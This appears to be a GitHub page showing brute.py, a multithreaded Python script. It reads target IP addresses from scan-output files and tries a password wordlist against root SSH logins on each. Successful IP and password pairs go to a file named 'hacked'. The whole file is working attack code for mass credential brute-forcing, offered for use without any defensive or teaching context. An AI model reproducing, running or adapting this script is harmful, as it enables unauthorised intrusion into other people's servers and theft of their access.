-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbrute.py
More file actions
50 lines (43 loc) · 1.38 KB
/
brute.py
File metadata and controls
50 lines (43 loc) · 1.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pexpect import pxssh
import sys
import threading
import glob
class bruteThread (threading.Thread):
def __init__(self, threadId, numThreads):
threading.Thread.__init__(self)
self.threadId = threadId
self.numThreads = numThreads
def run(self):
brute(self.threadId, self.numThreads)
def brute(threadId, numThreads):
passwords = open("wordlist", "r")
hackedSSHs = open("hacked", "w")
for password in passwords:
for i in range(threadId, len(IPs), numThreads):
ip = IPs[i]
s = pxssh.pxssh(timeout=5)
try:
s.login(ip, "root", password.strip())
hackedSSHs.write(ip + "------" + password.strip() + "\n")
hackedSSHs.flush()
print(ip + "-------" + password + "logged in!!")
except:
print(ip + "-------" + password +"wrong password")
hackedSSHs.close()
try:
openIPs = []
IPs = []
for f in glob.glob('open-*'):
openIPs.append(f)
print(f)
for name in openIPs:
with open(name) as s:
IPs.extend(s.readline().splitlines())
threadList = []
numThreads = int(sys.argv[1])
for i in range(numThreads):
threadList.append(bruteThread(i, numThreads))
threadList[i].start()
except Exception as e:
print(e)
print("Usage: python3 brute.py NUM_THREADS")